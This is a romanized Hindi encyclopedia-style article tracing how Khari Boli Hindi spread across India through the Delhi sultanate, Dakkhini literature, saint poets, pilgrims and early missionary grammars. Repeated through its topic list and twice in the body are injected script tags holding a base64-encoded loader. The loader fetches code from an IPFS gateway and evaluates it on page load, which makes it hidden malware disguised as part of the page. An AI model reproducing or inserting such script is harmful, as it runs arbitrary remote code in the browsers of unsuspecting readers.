हिन्दी की अखिल भारतीयता का इतिहास

hindi vishay soochi

hiandi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vikas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> prachin hiandi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhyakalin hiandi  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vibhinn nam   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtrabhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtrabhasha aandolan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajabhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> upabhashaean evan boliyaan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> devanagari lipi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hindi vyakaran   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manakikaran   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> akhil bharatiyata ka itihas

hiandi bharatiy ganaraj ki rajakiy aur madhy bharatiy- ary bhasha hai. san 2001 ki janaganana ke anusar, lagabhag 25.79 karo d bharatiy hiandi ka upayog matribhasha ke roop mean karate haian, jabaki lagabhag 42.20 karo d log isaki 50 se adhik boliyoan mean se ek istemal karate haian. san 1998 ke poorv, matribhashiyoan ki sankhya ki drishti se vishv mean sarvadhik boli jane vali bhashaoan ke jo aank de milate the, unamean hindi ko tisara sthan diya jata tha

hindi 'shabd' ka prayog hariyana se lekar bihar tak prachalit baangaru, kauravi, brajabhasha, kanauji, rajasthani, avadhi, bhojapuri, maithili adi kee bhashaoan ke lie kiya jata hai, kiantu vartaman shatabdi mean vyavahar ki drishti se isaka arth kh diboli ho gaya hai. hindi ke roop mean yahi kh diboli bharatiy sanvidhan dvara svikrit sanpark bhasha hai tatha hindi bhashi rajyoan mean rajabhasha hai. bhaugolik drishti se vichar karane par yah dilli, hariyana tatha uttar pradesh ke muradabad, bijanaur, merath adi tho de se ziloan tak simit bhasha hai, jo shatabdiyoan tak brajabhasha aur avadhi ki tulana mean upekshitapray rahi hai aur aitihasik karanoan ke prasad se hi yah n keval adhunik yug mean bharat se bahar ke kee deshoan mean phail gee hai, varanh sudoor atit se hi aantarrashtriy yatra karati rahi hai. profesar mahavir saran jain ne apane " hindi evan urdoo ka advait " shirshak alekh mean hindi ki vyutpatti par vichar karate hue kaha hai ki eeran ki prachin bhasha avesta mean 'sh' dhvani nahian boli jati thi. 'sh' ko 'hh' roop mean bola jata tha. jaise sanskrit ke 'asur' shabd ko vahaan 'ahur' kaha jata tha. afganistan ke bad sindhu nadi ke is par hindustan ke poore ilake ko prachin farasi sahity mean bhi 'hind', 'hindush' ke namoan se pukara gaya hai tatha yahaan ki kisi bhi vastu, bhasha, vichar ko 'edajektiv' ke roop mean 'hindik' kaha gaya hai jisaka matalab hai 'hind ka'. yahi 'hindik' shabd arabi se hota hua grik mean 'indike', 'indika', laitin mean 'indiya' tatha aangrezi mean 'indiya' ban gaya. arabi evan farasi sahity mean hindi mean boli jane vali bhashaoan ke lie 'zaban-e-hindi', pad ka upayog hua hai. bharat ane ke bad musalamanoan ne 'zaban-e-hindi', 'hindi juban' athava 'hindi' ka prayog dilli-agara ke charoan or boli jane vali bhasha ke arth mean kiya. bharat ke gair-muslim log to is kshetr mean bole jane vale bhasha-roop ko 'bhakha' nam se pukarate the, 'hindi' nam se nahian. prophesar jain ka manana hai ki hindi bhasha-kshetr mean bole jane vale samast kshetragat, vargagat, shailigat adi samast bhashik roopoan ki samashti ki amoortata ka nam hindi hai. vyavahar mean jise samany vyakti hindi kahata evan samajhata hai, vah hindi bhasha ka manak roop hai jisaka mooladhar kh di boli hai. keval kh di boli hi hindi nahian hai. kh di boli hindi bhasha-kshetr ka usi prakar ek kshetriy bhed hai jis prakar hindi ke any kshetriy bhed haian. sansar ki pratyek bhasha ka bhasha-kshetr hota hai jisamean anek kshetragat bhed hote haian jinhean us bhasha ki kshetriy boliyoan athava kshetriy upabhashaoan ke nam se jana jata hai. in kshetragat bhinn bhashik roopoan ke atirikt pratyek bhasha ka us bhasha-kshetr ki kisi boli ke adhar par vikasit manak bhasha roop bhi hota hai jisaka us bhasha ke shikshit vyakti aupacharik avasaroan par prayog karate haian.

itihas

prachin kal mean is kshetr se samay-samay par pashchim ki or janasamudayoan ka avrajan hua hai, jinake do sabase b de sakshy aj bhi maujood haian. ve haian yoorop ke romani ya jipsi tatha soviyat sangh ke ianki ya industani, jo tazikastan aur uzabekistan ke simavarti kshetr mean nivas karate haian.

chitr:Blockquote-open.gif hindi ke roop mean kh diboli bharatiy sanvidhan dvara svikrit sanpark bhasha hai tatha hindi bhashi rajyoan mean rajabhasha. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>jipsi ya romani bhasha ke adhyayan se yah sanket milata hai ki ise bolane vale samuday sanbhavatah hariyana se ge hoange. pichhali shatabdi se sar l aaures grup ne apane 'jipsi fokatels' (1899 ee.) namak granth ki bhoomika mean is bhasha ke jo namoone die haian, ve aj ki kh di boli ke bahut samip haian. jaise:- 'ja, dik, kon chhal vel vudar' (jao, dekhoan to, kaun l daka udhar hai) aur 'ja dekh kon chhal aya dvar ko' (jaoan, dekho kaun l daka daravaze par aya hai). unhoanne yah sanbhavana vyakt ki hai ki jipsi-bhashi eesavi sanh ki dasavian sadi se bahut pahale bharat se bahar ge hoange. ianki ya industani namak bhasha ki khoj d aau. bholanath tivari ne ki hai. vah ise 'tajuzbeki' kahate haian. 'tajuzbeki' (1970 ee.) mean unhoanne yah spasht kiya hai ki yah bhasha jisamean ek, do, tin (tin), mean (maian), ham, tum, o, (vah) jaise shabdoan ka prayog hota hai tatha jisaki vyakaranik sanrachana kh diboli ke bahut samip hai, moolatah hindi hai. is prakar yah kaha ja sakata hai ki avrajanoan ke karan hindi adhunik yug mean deshaantaravyapi huee, to aj se bahut pahale bhi inhian karanoan se isaka aantarrashtriy prasar hua hai.

prasar

hindi ke bharatavyapi prasar ka itihas kam rochak nahian hai. yadyapi prayah sabhi bhashavaijnanikoan ne kh diboli ka sanbandh shauraseni apabhransh se mana hai, kiantu 'hindi shabdanushasan' (1958 ee.) mean kishoridas vajapeyi ne is vichar-paranpara ka sapraman khandan kiya hai. unhoanne apekshit sakshy prastut kar yah batalaya hai ki prachin kuru janapad ki is bhasha ki poorvavarti apabhransh arthath doosari prakrit ke udaharan prapt nahian hai.

prakrit

mukhy lekh : prakrit

'prakrit' ki doosari tisari avastha mean koee n koee roop aisa hoga, jo hamare samane nahian hai. jis prakrit ka vikas hindi hai, usaka sahityik roop hamare samane nahian hai. kiantu yadi is prakrit ka roop prapt nahian hota, to isaka arth yah nahian ki usaka astitv nahian hoga. jaise aj bhi bahut-si bhashaoan mean sahity-rachana nahian hoti, vaise pahale bhi bahut-si prakrit-apabhransh bhashaoan mean sahity nahian likha gaya. kuru janapad ki prakrit aisi hi thi. vajapeyi ji is prakrit ya apabhransh ko 'kauravi' kahate haian. nishchay hi prachin kauravi se vikasit adhunik bharatiya kauravi ya kh diboli dasavian shatabdi se pahale ki hai. yah bat bhi dhyan dene yogy hai ki p dos ki brajabhasha aur rajasthani ke bad hi isamean sahity-lekhan praranbh hua aur vah bhi us samay, jab dilli mean muslim samrajy ki sthapana huee. isake aranbhik sahityik namoone ya to musalaman kaviyoan aur lekhakoan ki rachanaoan mean ya desh ke vibhinn bhagoan ke sadhu-sannyasiyoan dvara rachit vaniyoan mean milate haian.

pauranik matavalanbi

pauranik matavalanbi bhakt kaviyoan ne sahityik abhivyakti ke madhyam ke roop mean ise mahattv nahian diya. isake karanoan ki pariksha ke lie hamean us dharmik paridrishy par vichar karana hoga, jisaka nirman puranoan par adharit sagun bhakti dvara hua tha. chaubis avataroan mean kramashah das avataroan ko adhik mahattv mila, jisaka ek udaharan kshemeandrakrit dashavatar-charit hai. kiantu in das avataroan mean bhi ram aur krishna adhik mahattv prapt karate ge aur aantatah samast uttar bharat ki daivat bhavana inhian mean keandribhoot ho gee. hindibhashi kshetr mean ram ka avalanban lene vale kavy ki rachana mukhyatah avadhi mean huee aur krishna se sanbandhit kavy mukhyatah brajabhasha mean likha gaya. avadh ke sath ram aur braj ke sath krishna ke sanbandh ke karan hi kramashah avadhi aur brajabhasha ko itana mahattv mila, yadyapi avadh ke soophi kaviyoan ne bhi avadhi ka prayog kiya. apane vishisht dharmik asangoan ke karan hi hindi pradesh mean ye bhashaean itani mahattvapoorn ho geean ki inake samane is kshetr ki any bhashaean upekshitapray rahian.

1. REDIRECTsaancha:inhean bhi dekhean

kh diboli

kh diboli aisi hi upekshitapray bhasha thi, jisake vyavahar ka koee auchity ya prerakata tatkalin pauranik matavalanbi hindoo kaviyoan ke lie nahian thi. kiantu, jis samay uttar bharat mean vibhinn bhakti- sanpradayoan ka pravesh hua tha, usase poorv hi dilli mean muslim samrajy ki sthapana ho chuki thi. is samrajy ki sthapana ke samay dilli mean jo musalaman akar bas ge, unamean sabase b di sankhya avibhajit panjab ke nav- muslimoan ki thian, jinaki boli ka rajadhani aur usake as-pas ki boli par prabhav p dana svabhavik tha. rajadhani aur usake as-pas ki janabhasha se parichay dilli ke svadeshi aur videshi muslim prashasakoan aur sainikoan ke lie n keval svabhavik tha, varanh avashyak bhi. sthaniy striyoan se vivah tatha prashasanik avashyakataoan ke karan sthaniy bhasha se parichay ki vivashata in do batoan ke prabhav-svaroop do-tin pidhiyoan mean hi dilli ke shasakoan ke ghar ki boli kh diboli ho gee aur shasak jati ke sahityakaroan ne farasi ke atirikt kh diboli mean bhi kavy-rachana ki. amir khusaro (1255-1324) ne hindavi (hindi) ko apani matribhasha kaha aur isamean n keval kavita ki, varanh isake madhury aur ganbhirata par garv bhi prakat kiya. amir khusaro dvara prayukt hone ke bad kh diboli mukhyat musalaman kaviyoan aur lekhakoan dvara hi sahityik abhivyakti ke lie prayukt hoti rahi.

kh diboli ka prachar

kh diboli ke bharatavyapi prachar mean dilli ke muslim samrajy ki rajadhani hone ki bhoomika bahut mahattvapoorn rahi hai, kyoanki bharat mean muslim samrajy ke vistar ke sath isaka bhi prasar hua hai. khilazi vansh ke rajatv kal mean uttar bharat ke bangal tak ka kshetr is samrajy ka aang ban gaya aur uttar bharatiy nagaroan aur kasboan ki, sainik chhavaniyoan aur chhote-b de prashasan keandroan ki, sanpark bhasha kh diboli ho gee. in keandroan mean dilli aur usake asapas ke kh diboli-bhashi muslim aur hindoo rajakarmachari, sainik aur vyapari bas ge. unake avagaman ka kram kee shatabdiyoan tak chalata raha. isase uttar bharatiy nagaroan aur kasboan ki shisht sanpark bhasha ke roop mean hindi ki j de mazaboot hoti chali geean.

muslim samrajy

muslim samrajy ke dakshin bharat mean vistar ke sath hindi ka prasar aandhr, karnatak adi pradeshoan mean bhi hua. alauddin ne 1296 ee. mean dakshin bharat ke devagiri par akraman kiya. bad ke akramanoan dvara usake rajatv kal mean viandhya parvat kshetr se lekar dakshin ke samudr tat tak ki bhoomi dilli samrajy ke adhin ho gee. muhammad tugalaq ke samay dakshin ka adhikaansh bhag is samrajy ke adhin ho gaya, jise usane paanch bhagoan mean vibhajit kiya. usane devagiri ya daulatabad mean apani rajadhani banaee, jo madhyakalin itihas ki bahucharchit ghatanaoan mean hai. yadyapi usane paristhitiyoan ke dabav ke karan punah dilli ko rajadhani banaya, kiantu usake sath bahut b di sankhya mean dilli ke musalamanoan aur hinduoan ka avrajan dakshin bharat mean hua. unaka ek b da samuday dakshin mean sthayi roop mean bas gaya, kiantu unake avrajan se poorv hi, alauddin khilazi ke rajatvakal mean kh diboli bolane vale hindoo aur muslim rajakarmachariyoan, sainikoan aur vyapariyoan ke dal dakshin bharat mean phail chuke the. bad mean ahamadanagar, bijapur, golakuanda aur bidar mean nizamashahi, qutubashahi aur baridashahi vanshoan ne svatantr rajyoan ki sthapana ki, jinamean baridashahi vansh ka astitv shighr hi samapt ho gaya. dakshin ke sath mugaloan ke yug mean bhi dilli ki rajanitik pratiyogitaean chalati rahian tatha akamanoan ka kram atoot jaisa raha. parinam yah hua ki dakshin mean kh diboli n keval j d pak dati gee, balki yah vahaan ke sahityik evan saanskritik paridrishy ka svabhavik aang ban gee. vahaan dakani ya dakkhini ke nam se kh diboli ka vipul sahity racha gaya. isamean n sirf sahity lekhan ka kary hua, varanh bijapur, golakuanda adi muslim riyasatoan mean rajakaj ki bhasha ke roop mean ise pratishtha mili. ullekhy hai ki jis kh diboli ko bharatiy sanvidhan dvara svatantrata ke bad prashasanik mahattv mila hai, use lagabhag pray chhah sau varsh poorv hi dakshin mean yah mahattv prapt ho chuka tha.

dakkhini hindi

dakani ya dakkhini hindi ke rachanakaroan ki sankhya bahut b di hai. kh diboli gady ki pahali prapy pustak khvaja bandenavaz gesoodaraz ki 'mirajul ashikin' hai, jo soofi vicharadhara se sanbandhit hai. isaki rachana pandrahavian shatabdi ke aranbh mean huee hai. gesoodaraz ki any kee gady rachanaoan ka bhi ullekh milata hai. mulla vajahi ki 'sabaras' (1636 ee.) shayad dakkhini gady paranpara ki sarvottam rachana hai. dakkhini mean miraanji, nizami, muhammadakuli qutubashah adi ne utkrisht koti ki kavita ki hai. dakkhini koee kritrim bhasha nahian thi, balki yah vahaan avrajan kar bas ge samudayoan ki sahaj, svabhavik matribhasha thi. isaka praman miraanji ya shah miran ki nimnalikhit panktiyoan mean maujood hai.

hamian bol arabi kare,
aur pharasi bahutere,
yoan hindavi bole tab,
is arth bhave sab.
yah bhakha bhale so bole,
pun isaka bhav khole,
vo arabi bol n jane,
n pharasi pachhane॥

in panktiyoan se yah spasht hai ki arabi aur farasi in logoan ke lie paraee bhasha jaisi thi. hindavi (hindi) bolakar hi inhean apana ashay samajhaya ja sakata tha.

mahattv

aj ki kh diboli ke itihas aur isake vartaman svaroop ke adhyayan ke lie dakkhini ka bahut mahattv hai. vyakaranik sanrachana ki drishti se yah baangaroo ke bahut samip hai. baangaroo ki tarah isamean bhi akaraant pulliang aur striliang sanjna shabdoan ka bahuvachan roop aan lagakar banaya jata hai, jaise:- ghar se gharaan, kitab se kitabaan adi. isamean aur ke lie hor ka prayog hota hai tatha ne ka prayog karta karak ke hi prasang mean nahian, varanh karm aur sanpradan karakoan ke prasang mean bhi hota hai. ye pravrittiyaan baangaroo (aur panjabi) mean aj bhi jivit haian. isamean ke lie sooan, syoan aur syauan, ko ke badale kooan, kabhi ke lie kabhoo adi roop milate haian, jaise:-

(1) are oodhau sunau yah du:kh haman sooan. kahau tuk jay paradesi sajan sooan.

(2) akl achchhe to apas kooan hor doosare kooan pachhane.

uttar bharat mean satrahavian-atharahavian shatabdi mean kh diboli gady ki jo rachanaean prastut hueean, unamean bhi ye bhashik visheshataean milati haian, jaise:- qutubashatak (1613 ee.) ganesh gosath (1658 ee.), bhogalupuran (1705 ee.) adi mean dakkhini ke prasang mean yah bat vishesh roop se rekhaankit karane yogy hai ki uttar bharat mean likhit in gady rachanaoan ki tarah panjabi, rajasthani, braj aur kanauji adi ke prabhavoan se yukt hone ke bavazood isaka gady aj ke kh diboli gady se jitani samipata rakhata hai, utani samipata in rachanaoan ke gady ki bhi nahian. karan yah hai ki inaki bhasha par brajabhasha ka bahut gahara prabhav hai.

dakkhini ka sahity

yadyapi dakkhini ka sahity arabi-farasi lipi mean likha gaya hai ki isamean arabi aur farasi ke shabdoan ki sankhya bahut hai, phir bhi isamean sanskrit ki shabd -sankhya kam vistrit nahian hai. dakshin mean bas ge hinduoan aur musalamanoan ki sammilit janabhasha hone ke karan dakkhini aj ki hindi aur urdoo ka sammilit poorv roop hai. kiantu, milajula kar dekhane par aisa pratit hota hai ki isaki shabdavali adhunik hindi ki shabdavali se adhik samipata rakhati hai. nizami ke akhyan kavy 'masanavi kadamarav vo padamarav' ki panktiyaan haian.

akas ooancha, patal dharati dhee.
jahaan kuchh n koee, vahaan hai tuhian॥

golakuanda ke badashah muhammadakuli qutubashah ki panktiyaan haian.

bikhare hai kuantal peshani oopar.
ke badal p de phat pani oopar॥

kuli qutubashah ki rachanaoan mean romavali, nayan, jal, ratan adi saiank doan shabdoan ka b de mukt roop se prayog hua hai. isalie yah sochana svabhavik hai ki yadi uttar bharat mean urdoo aur hindi ke nam se kh diboli ki do bhinn shailiyoan ka vikas nahian hota, to ek samasik bhasha ke roop mean isaka svaroop bahut kuchh dakkhini-jaisa hota.

prasar ka doosara madhyam

kh diboli ke akhil bharatiy prasar ka doosara madhyam vibhinn madhyakalin sant sanpradayoan ka pracharak samuday hai. uttar aur dakshin ke vibhinn bhashabhashi sadhu-sannyasiyoan ki sanpark bhasha ke roop mean hindi ki pratishtha ho chuki thi. inaki hindi n keval hindi pradesh ki vibhinn boliyoan, balki hinditar kshetr ki boliyoan ke rangoan se iandradhanushit kh diboli thi, jise 'sadhukk di' bhi kaha gaya hai. kabir ki rachanaoan mean is sadhukk di ka prachur prayog hua hai. lekin, kabir se bahut pahale, lagabhag dilli mean gulam vansh ki sthapana ke samaantar, maharashtr ke mahanubhav panth ke kaviyoan dvara isake prayog ke udaharan milane lag jate haian. mahanubhav panth ke damodar pandit (barahavian shatabdi) aur kavayitri mahadayisa (terahavian-chaudahavian shatabdi) ki kuchh rachanaoan ki bhasha hindi hai. is panth ke chakrapani nilanbakar ne dakkhini mean 'tisa' sahity racha, jo devanagari lipi mean upalabdh hua hai. nathapanth se sanbandhit varakari sanpraday ke namadev (1271-1351 ee.) ekanath (1528-1599 ee.) adi marathi kaviyoan ki hindi rachanaean to prasiddh haian hi. ekanath ki hindi gady rachanaean kh diboli gady ke sabase purane aur saf suthare udaharanoan mean haian. maharashtr uttar aur dakshin ka sandhi-pradesh hai aur isane hindi ke akhil bharatiy prasar mean mahattvapoorn bhoomika sanpann ki hai. d aau. vinayamohan sharma ne 'hindi ko marathi santoan ki den' namak granth mean sabase pahale marathi santoan ki hindi rachanaoan ka parichay diya tha aur hal mean d aau. yoo. m.pathan ne 'maharashtr ke mahanubhav sahityakaroan ka hindi sahity ko yogadan' mean in vishay se sanbandhit prabhoot nee samagri di hai. bharat ke any pradeshoan mean bhi aise bhakt kavi hue haian, jinhoanne sadhusamaj mean prachalit mishrit kh diboli ya brajabhasha mean kuchh- n kuchh kavita ki hai.

tirthayatriyoan ki bhoomika

vibhinn sanpradayoan ke pracharak sant aur bhakt kaviyoan ki tarah hi kh diboli ke prasar mean desh ke tirthayatriyoan ki bhoomika bhi ullekhy rahi hai. uttar ke tirthayatri dakshin tatha dakshin ke tirthayatri uttar ke vibhinn dhamoan aur tirthoan ki yatra shatabdiyoan se karate rahe haian. pichhali shatabdi ke aranbhik dashakoan tak tirthayatraean paidal hi sanpann hoti thian aur desh ke vibhinn bhagoan ke dharmapran logoan ko kashi, prayag, ayodhya, vriandavan aur badarikashram vale hindi kshetr mean bahut lanbe samay tak, kee mahine yatra karate hue rahana p data tha. phalatah unaka sanpark hindi se ho jata tha aur jaise-jaise muslim samrajy ke dridhikaran ke sath uttar bharatiy nagaroan ki sanpark bhasha kh diboli hoti gee, hindi ke roop mean ve uttar bharat ke yatra kshetr ke vibhinn nagaroan aur kasboan mean baranbar kh diboli hi sunane lage tatha usaka ek vyavaharik roop lekar apane-apane pradesh lautane lage.

chitr:Blockquote-open.gif hindi se kisi bhi bharatiy bhasha ko bhay nahian hai. yah sabaki sahodar hai.-- mahadevi varma chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dakshin ke tirthayatriyoan ko, jinamean se bahut se log dakkhini ke sanpark mean pahale hi a chuke hote, maharashtr se hi ek prakar ki vyavaharik kh diboli sunaee dene lagati. unake dvara arjit isaki shabd-sanpada simit hone ke bavazood uttar bharat ki yatra ki avadhi mean unake lie atyant upadey pramanit hoti. tirthayatriyoan ki yah sanpark bhasha, jo hinditar kshetr ke pande-purohitoan ki samany ajivika bhasha banati gee tatha vahaan ki vaikalpik bazar bhasha bhi ban gee, n keval uttar bharat ki yatra karane vale dakshin ke tirthayatriyoan, varanh dakshin bharat ki yatra karane vali uttar ke tirthayatriyoan ke lie bhi upayogi ban gee. dakshin ke vibhinn tirthasthanoan tak jane vale vibhinn margoan par nirmit dharmashalaean, jahaan yatri rat mean thaharate the, sthaniy logoan ke sath hindi ke madhyam se hone vale sanpark ka kendr ban jati thi. in dharmashalaoan mean pas -p dos ke gaanvoan ke aise log ekatr hua karate jo in yatriyoan ke pradesh, sanskriti adi ke vishay mean janakari lena chahate the aur inaki seva kar us puny ke bhagi banana chahate the jisaki vasana dharmapran vyaktiyoan mean vidyaman raha karati hai. aise avasaroan par unake bich ve log dubhashiye ka kam karate the, jo uttar bharat ki yatra kar chuke hote aur hindi ka kisi n kisi roop mean vyavahar kar sakate the.

satrahavian shatabdi

uparyukt rajanitik aur dharmik karanoan se kh diboli satrahavian shatabdi tak bharatavyapi ho chuki thi. isake sakshi satrahavian shatabdi ke aantim aur atharahavian shatabdi ke doosare-tisare dashakoan mean yooropiy dharm pracharakoan ke lie likhit hindi vyakaran hai.

• pahala vyakaran j aaun joshua kaitalar krit 'hindustani bhasha' hai, jisaki rachana 1698 ee. mean agara mean huee.
• doosara vyakaran beanjamin shoolz ka 'hindustani vyakaran' hai, jo 1745 ee. mean dakshin ke haidarabad mean likha gaya.
• tisare vyakaran ka nam 'alphabetum bramhanikum' hai, jisake lekhak kaisiyano beligatti haian. isaki rachana 1771 ee. mean patana mean huee.

desh ke tin sudooravarti keandroan mean likhe ge in vyakaranoan mean ek hi bat bar-bar kahi gee hai. vah yah hai ki hindi ya hindustani inake rachana-sthaloan-agara, haidarabad aur patana ke parshvavarti kshetroan ki sabase mahattvapoorn sanpark bhasha hai. beanjamin shoolz ne likha hai, ki is hindustani bhasha ko devanagaram bhi kaha jata hai.

jab se musalaman log sare bharat ko jitakar yahaan rahane lage tab se unhoanne yahaan ki hindustani ko apani matribhasha ke roop mean svikar kiya. mugaloan ke vistrit rajy mean is bhasha ka prachar-prasar hai.

hindi ke tin praranbhik vyakaran maithyu bechchur, beligatti ne ise n keval patana ke as-pas prachalit tatha videshi yatriyoan dvara prayukt bhasha kaha hai, balki ise tatkalin bharat ki rashtrabhasha kaha hai.

bharatiy punarjagaran

yahi karan hai ki ab jab pichhali sadi mean bharatiy punarjagaran aranbh hua, to poore desh ko jo danevali bhasha ke roop mean kh diboli ke mahattv ki or raja ramamohan ray, keshavachandr sen aur maharshi dayanand jaise mahanh netaoan ka dhyan gaya. brahmasamaj ke pravartak raja ramamohan ray ne apane vicharoan ke prachar ke lie 'udantamarttand' namak hindi patr prakashit kiya. aryasamaj ke janmadata maharshi dayanand ne isamean apane vikhyat 'satyarthaprakash' tatha any kee pustakoan ki rachana ki aur ise akhil bharatiy bhasha ke roop mean pratishthit karane ka sabase pahala suvyavasthit prayatn kiya. raja ramamohan ray ke jivanakal mean hi kalakatta mean phort viliyam k aaulej ki sthapana huee, jahaan videshiyoan ko hindi sikhalane ke uddeshy se gady ki kee mahattvapoorn pustakean likhi geean. videshi eesaee dharmapracharakoan ne apane mat ke prachar ke lie hindi mean jo pustakean taiyar ki ya karaee, hindi ke prasar mean unaki bhoomika kam mahattvapoorn nahian hai.

hindi ka prasar

akhil bharatiy bhasha ke roop mean hindi ke prasar aur pratishtha ki prastavana sabase pahale un mahapurushoan ne ki, jo hinditar pradeshoan ke the. yah bat bhi kam ullekhy nahian hai ki likhit bhasha ke roop mean apane vikas ke aranbhik yug se hi hindi dharmanirapeksh bhasha rahi hai. isake aranbhik kavi aur lekhak musalaman haian aur mukhyat unhoanne hi isake dakkhini sahity ki rachana ki hai. sabase pahale unhoanne hi ise rajakiy vyavahar ki bhasha ke roop mean prayukt kiya hai. pichhali sadi se lekar aj tak eesaee mishanariyoan se sahity aur shiksha ki bhasha ke roop mean isaki pratishtha ke lie chirasmaraniy kary kiya hai. isalie dharmavishesh ke sath isako jo dana sahi nahian hai.

hindi ke lie pichhali sadi kee drishtiyoan se mahattvapoorn hai. is sadi mean hindi gady ka n keval vikas hua, varanh bharateandu harishchandr ne use manak roop pradan kiya. isi sadi mean aise mahapurush utpann hue jinhoanne hindi ki pahachan akhil bharatiy sanpark sootr ke roop mean itihas dvara pradatt bhasha ke roop mean ki aur isake lie prayatn aranbh kiya. yah akaran nahian hai ki mahatma gaandhi ne hindi ke prashn ko svarajy ka prashn mana, kaangres ko isake prachar ka ek shaktishali madhyam banaya aur hindi prachar sabhaoan ki sthapana ki. pichhale chhah sau varshoan se bharatiy itihas ne jis bhasha ko akhil bharatiy bhasha banane ki sadhana ki, use siddhi tak le jane ka sabase b da shrey gaandhi ji ko hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• hindi-urdoo ka advait
• hindi bhasha-kshetr
• dakshin-bharat mean hindi ka prachar evan prasar